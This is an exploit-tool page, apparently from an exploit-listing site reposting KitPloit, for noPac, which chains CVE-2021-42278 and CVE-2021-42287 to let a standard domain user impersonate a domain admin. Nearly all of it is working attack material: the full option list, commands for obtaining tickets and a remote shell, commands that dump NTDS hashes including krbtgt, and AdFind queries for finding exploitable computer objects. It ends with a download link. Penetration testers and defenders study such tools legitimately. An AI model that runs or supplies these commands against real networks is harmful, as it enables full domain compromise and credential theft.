Sploitus

noPac - Exploiting CVE-2021-42278 And CVE-2021-42287 To Impersonate DA From Standard Domain User

kitploit · 2022-09-06

Exploit Code

MARKDOWN153 lines
## https://sploitus.com/exploit?id=KITPLOIT:2895781894486749313
![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj61Wr0V5XtRu3g9wpnEAX8ftIZjRI27L2naqZfafYPbNy4PcCSLpiy7wQBvqIXw8DeXYzV4oIeeYRBAXbBZx-KPX0IV0xnS82RlO-hTkU3NwZGYM7mZBKYGPFxVMOE2nPeTg-iRb7ubUumhXsmbSGGtzJE2bWunXfjYYrq1yqtxvcmCnUX5X5XbnX7bA/w640-h439/noPac_1.png)

  


Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user

Changed from sam-the-admin.

  


## Usage
    
    
    SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain  
      
    positional arguments:  
      [domain/]username[:password]  
                            Account used to authenticate to DC.  
      
    optional arguments:  
      -h, --help            show this help message and exit  
      --impersonate IMPERSONATE  
                            target username that will be impersonated (thru S4U2Self) for quering the ST. Keep in mind this will only work if the identity provided in this scripts is allowed for delegation to the SPN specified  
      -domain-netbios NETBIOSNAME  
                            Domain NetBIOS name. Required if the DC has multiple domains.  
      -target-name NEWNAME  Target computer name, if not specified, will be random generated.  
      -new-pass PASSWORD    Add new computer password, if not specified, will be random generated.  
      -old-pass PASSWORD    Target computer password, use if you know the password of the target you input with -target-name.  
      -ol   d-hash LMHASH:NTHASH  
                            Target computer hashes, use if you know the hash of the target you input with -target-name.  
      -debug                Turn DEBUG output ON  
      -ts                   Adds timestamp to every logging output  
      -shell                Drop a shell via smbexec  
      -no-add               Forcibly change the password of the target computer.  
      -create-child         Current account have permission to CreateChild.  
      -dump                 Dump Hashs via secretsdump  
      -use-ldap             Use LDAP instead of LDAPS  
      
    authentication:  
      -hashes LMHASH:NTHASH  
                            NTLM hashes, format is LMHASH:NTHASH  
      -no-pass              don't ask for password (useful for -k)  
      -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on account parameters. If valid credentials cannot be found, it will use the ones specified in the command line  
      -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)  
      -dc-host hostname     Hostname of the domain controller to use. If ommited, the domain part (FQDN) specified in the account parameter will be used  
      -dc-ip ip             IP of the domain controller to use. Useful if you can't translate the FQDN.specified in the account parameter will be used  
      
    execute options:  
      -port [destination port]  
                            Destination port to connect to SMB Server  
      -mode {SERVER,SHARE}  mode to use (default SHARE, SERVER needs root!)<   br/>  -share SHARE          share where the output will be grabbed from (default ADMIN$)  
      -shell-type {cmd,powershell}  
                            choose a command processor for the semi-interactive shell  
      -codec CODEC          Sets encoding used (codec) from the target's output (default "GBK").  
      -service-name service_name  
                            The name of theservice used to trigger the payload  
      
    dump options:  
      -just-dc-user USERNAME  
                            Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch  
      -just-dc              Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)  
      -just-dc-ntlm         Extract only NTDS.DIT data (NTLM hashes only)  
      -pwd-last-set         Shows pwdLastSet attribute for each NTDS.DIT account. Doesn't apply to -outputfile data  
      -use   r-status          Display whether or not the user is disabled  
      -history              Dump password history, and LSA secrets OldVal  
      -resumefile RESUMEFILE  
                            resume file name to resume NTDS.DIT session dump (only available to DRSUAPI approach). This file will also be used to keep updating the session's state  
      -use-vss              Use the VSS method insead of default DRSUAPI  
      -exec-method [{smbexec,wmiexec,mmcexec}]  
                            Remote exec method to use at target (only when using -use-vss). Default: smbexec  
    

> Note: If -host-name is not specified, the tool will automatically get the domain control hostname, please select the hostname of the host specified by -dc-ip. If --impersonate is not specified, the tool will randomly choose a doamin admin to exploit. Use ldaps by default, if you get ssl error, try add -use-ldap .

### GetST
    
    
    python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203

![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj61Wr0V5XtRu3g9wpnEAX8ftIZjRI27L2naqZfafYPbNy4PcCSLpiy7wQBvqIXw8DeXYzV4oIeeYRBAXbBZx-KPX0IV0xnS82RlO-hTkU3NwZGYM7mZBKYGPFxVMOE2nPeTg-iRb7ubUumhXsmbSGGtzJE2bWunXfjYYrq1yqtxvcmCnUX5X5XbnX7bA/w640-h439/noPac_1.png)

### Auto get shell
    
    
    python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 -shell --impersonate administrator 

![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg8uD1oq6UQnWAexRdBrNs5dMjSyOkK7_Ij_nPRnSyCEzvEJb1jYE16fReQf2TEg1sgogtHZEhok96cZOEMZwXt0dLam0VNdYvNLKZWE42KCeRWCOVV53-PZqot7-16_geTqPWMXg8yL33_rDIIuKHqC18zqmSERCRN9T_VdAlhMYcUZo6cB7mgJMXhPg/w640-h534/noPac_2.png)

### Dump hash
    
    
    python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dump  
    python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203 -dc-host lab2012 --impersonate administrator -dump -just-dc-user cgdomain/krbtgt

![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgSvTfhcQPs3dNoCR1VupifEPfezbGUiyBm0q-p2rqzsIJzFIc0SBt0udqZxKo-XEjHO6wKiaHu4KTTT6Po8ZzHGupdvoYzdGMcSSwg4xEP6fe3x0lsHyuUC3AVYXFTbD4zz3wCu9GB54swbus_-ScNLb51UORL4DL3vork-SMns9JJ2YrgYx8Cm483Ig/w640-h230/noPac_3.png)

  


## Scanner
    
    
    python scanner.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.203

![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCH36qmuuqPfTEtWMoVXFh7jvsph9GpvgIGAWMjgu6NTV5vAqJKMef-4I4PhZBp3yIa-ngN_PUQKkUnhh8vjGpRFcNNueYynmb5pb9gLhUXXE-_vmI0AxDGCKLYp58-7kUxujLvA6KdUNY_E0KXAwaMisUqWspQRrTH9lyFjjEeQfBmWqdggMLvuezxQ/w640-h232/noPac_4.png)

  


## MAQ = 0

### Method 1

Find the computer that can be modified by the current user.
    
    
    AdFind.exe -sc getacls -sddlfilter ;;"[WRT PROP]";;computer;domain\user  -recmute

![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqZLndIiQ_RSc6SmU8uLgmpJT7EA5lb9jbBBNjCr9EVf-IsgNP1SWWYhVPWtZWdYpQyJrsgclbMfDxMo-SMOc3hAceRAJPxudvUwu2fhfAnw5xKT4_uanVk1MDhwLycbl2JDyX3pyzJo56cD2ETTwTLWfx9eyUf5D0rA-sNtf-BBMwnBcuVhSFgUNa1g/w640-h338/noPac_5.png)

Exp: add `-no-add` and target with `-target-name`.
    
    
    python noPac.py cgdomain.com/sanfeng:'1qaz@WSX' -dc-ip 10.211.55.200 -dc-host dc2008 --impersonate administrator -no-add -target-name DomainWin7$ -old-hash :2a99c4a3bd5d30fc94f22bf7403ceb1a -shell  
    

  


![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWA5hrgpcI74a5t8gyyFn3YGVgQanvIf8uhYcISdk5k-cLAz2Nycy1OeQG0NqgqBj6b3iadsDI7qh9QtgUtvl3s5vN1KTPiiNkC1lGhjvUZ0ose2AYt42FMNCWBVcQ001bY2cmR_p4G2Nk2qOHkFzF0P3Jo1TizhokcqYt5A3bY0VHFz8kt-JJbHM1yA/w640-h222/noPac_6.png) Warning!! Do not modify the password of the computer in the domain through ldaps or samr, it may break the trust relationship between the computer and the primary domain !!

### Method 2

Find CreateChild account, and use the account to exploit.
    
    
    AdFind.exe -sc getacls -sddlfilter ;;"[CR CHILD]";;computer; -recmute  
    

Exp: add `-create-child`
    
    
    python noPac.py cgdomain.com/venus:'1qaz@WSX' -dc-ip 10.211.55.200 -dc-host dc2008 --impersonate administrator -create-child

![](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYbbUDk_UMetJqHiY4K8xgdjCdBXH-0cZOjx3sqhXx3uWH1WqhcT2GxA_NcUpVGkJD3B0EITxWipPduQOo-lPKSprVUk9S0Wr1pae2dZc7CD7dPoD9JtcJhNKvs2bL8E5HpEyX1-F6PslKH98x04rzgKUiM9KbrJxK_Wu33xHoA6e8cDcRzdMks4hIxw/w640-h348/noPac_8.png)

  


**Download noPac**